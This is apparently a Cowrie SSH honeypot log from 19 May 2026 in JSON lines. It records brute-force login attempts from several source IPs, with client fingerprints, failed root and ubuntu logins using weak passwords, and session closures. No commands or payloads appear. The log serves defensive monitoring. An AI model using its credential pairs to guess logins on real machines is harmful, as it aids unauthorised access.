{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36610,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd05b8b286dd","protocol":"ssh","message":"New connection: 103.27.238.116:36610 (10.17.0.5:22) [session: bd05b8b286dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:59.506210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:59.510448Z","src_ip":"103.27.238.116","session":"bd05b8b286dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:59.784420Z","src_ip":"103.27.238.116","session":"bd05b8b286dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:00.607247Z","src_ip":"103.27.238.116","session":"bd05b8b286dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:01.884598Z","src_ip":"103.27.238.116","session":"bd05b8b286dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b026b883993","protocol":"ssh","message":"New connection: 103.98.149.87:32898 (159.203.135.109:22) [session: 2b026b883993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:38.176040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:38.290827Z","src_ip":"103.98.149.87","session":"2b026b883993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:38.546209Z","src_ip":"103.98.149.87","session":"2b026b883993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warcraft","message":"login attempt [root/warcraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:39.803732Z","src_ip":"103.98.149.87","session":"2b026b883993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:41.046547Z","src_ip":"103.98.149.87","session":"2b026b883993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33930,"dst_ip":"10.17.0.5","dst_port":22,"session":"5426dfa9d2a0","protocol":"ssh","message":"New connection: 103.173.227.57:33930 (10.17.0.5:22) [session: 5426dfa9d2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:49.909530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:49.914169Z","src_ip":"103.173.227.57","session":"5426dfa9d2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:50.158420Z","src_ip":"103.173.227.57","session":"5426dfa9d2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42528,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03ab4be35b6","protocol":"ssh","message":"New connection: 80.94.92.186:42528 (159.203.135.109:22) [session: a03ab4be35b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:50.773808Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"anakonda","message":"login attempt [root/anakonda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:50.892416Z","src_ip":"103.173.227.57","session":"5426dfa9d2a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:51.162308Z","src_ip":"80.94.92.186","session":"a03ab4be35b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:51.166216Z","src_ip":"80.94.92.186","session":"a03ab4be35b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:51.917818Z","src_ip":"80.94.92.186","session":"a03ab4be35b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:52.143135Z","src_ip":"103.173.227.57","session":"5426dfa9d2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:20:53.130163Z","src_ip":"80.94.92.186","session":"a03ab4be35b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35010,"dst_ip":"10.17.0.5","dst_port":22,"session":"3800bcd05ab6","protocol":"ssh","message":"New connection: 147.45.211.215:35010 (10.17.0.5:22) [session: 3800bcd05ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:16.366551Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50856,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef17da5c9e0","protocol":"ssh","message":"New connection: 147.45.199.80:50856 (10.17.0.5:22) [session: 4ef17da5c9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:19.357895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:19.362701Z","src_ip":"147.45.199.80","session":"4ef17da5c9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:19.459083Z","src_ip":"147.45.199.80","session":"4ef17da5c9e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12","message":"login attempt [root/asdf12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:19.748232Z","src_ip":"147.45.199.80","session":"4ef17da5c9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:21:20.847454Z","src_ip":"147.45.199.80","session":"4ef17da5c9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41138,"dst_ip":"159.203.135.109","dst_port":22,"session":"821056347483","protocol":"ssh","message":"New connection: 194.113.233.25:41138 (159.203.135.109:22) [session: 821056347483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:16.392433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:16.911812Z","src_ip":"194.113.233.25","session":"821056347483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:16.915508Z","src_ip":"194.113.233.25","session":"821056347483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234565","message":"login attempt [root/1234565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:17.701911Z","src_ip":"194.113.233.25","session":"821056347483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35148,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a1ec65d3055","protocol":"ssh","message":"New connection: 194.59.206.2:35148 (159.203.135.109:22) [session: 4a1ec65d3055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:18.209712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:18.214750Z","src_ip":"194.59.206.2","session":"4a1ec65d3055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:18.353423Z","src_ip":"194.59.206.2","session":"4a1ec65d3055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:18.450528Z","src_ip":"194.59.206.2","session":"4a1ec65d3055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:18.845232Z","src_ip":"194.113.233.25","session":"821056347483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.241","src_port":35795,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa58d3ce428","protocol":"ssh","message":"New connection: 91.230.168.241:35795 (10.17.0.5:22) [session: 1fa58d3ce428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:42.234627Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:42.246604Z","src_ip":"91.230.168.241","session":"1fa58d3ce428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.199","src_port":46693,"dst_ip":"10.17.0.5","dst_port":22,"session":"740275381687","protocol":"ssh","message":"New connection: 91.230.168.199:46693 (10.17.0.5:22) [session: 740275381687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:42.312414Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:22:52.433403Z","src_ip":"91.230.168.199","session":"740275381687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.197","src_port":49719,"dst_ip":"10.17.0.5","dst_port":22,"session":"13aeb6459605","protocol":"ssh","message":"New connection: 91.230.168.197:49719 (10.17.0.5:22) [session: 13aeb6459605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:07.089605Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xba\f:r\b@M\\x90\\xd1\u0019w\\xe0#3\r)t\\xeb\\x93\\xeb:\u001c\\x89\\xdc&\\xcf\u0013\u000f<@\\x82? \u0019\\xe2\\x9f~\b\\xc3\\xdc#\u001d\\x93\u0012\u0010+1\\xf3\\xaa\u0018t\\xe9\t\\xdf\\xd2\u001d\\xb5\\x83:\u0017d\u0007\\xd8\\xdc/\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xba\f:r\b@M\\x90\\xd1\u0019w\\xe0#3\r)t\\xeb\\x93\\xeb:\u001c\\x89\\xdc&\\xcf\u0013\u000f<@\\x82? \u0019\\xe2\\x9f~\b\\xc3\\xdc#\u001d\\x93\u0012\u0010+1\\xf3\\xaa\u0018t\\xe9\t\\xdf\\xd2\u001d\\xb5\\x83:\u0017d\u0007\\xd8\\xdc/\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:07.094486Z","src_ip":"91.230.168.197","session":"13aeb6459605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:07.098235Z","src_ip":"91.230.168.197","session":"13aeb6459605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.247","src_port":53305,"dst_ip":"10.17.0.5","dst_port":22,"session":"0981c1ee8f83","protocol":"ssh","message":"New connection: 91.230.168.247:53305 (10.17.0.5:22) [session: 0981c1ee8f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:07.240657Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:10.262747Z","src_ip":"91.230.168.247","session":"0981c1ee8f83","protocol":"ssh"}
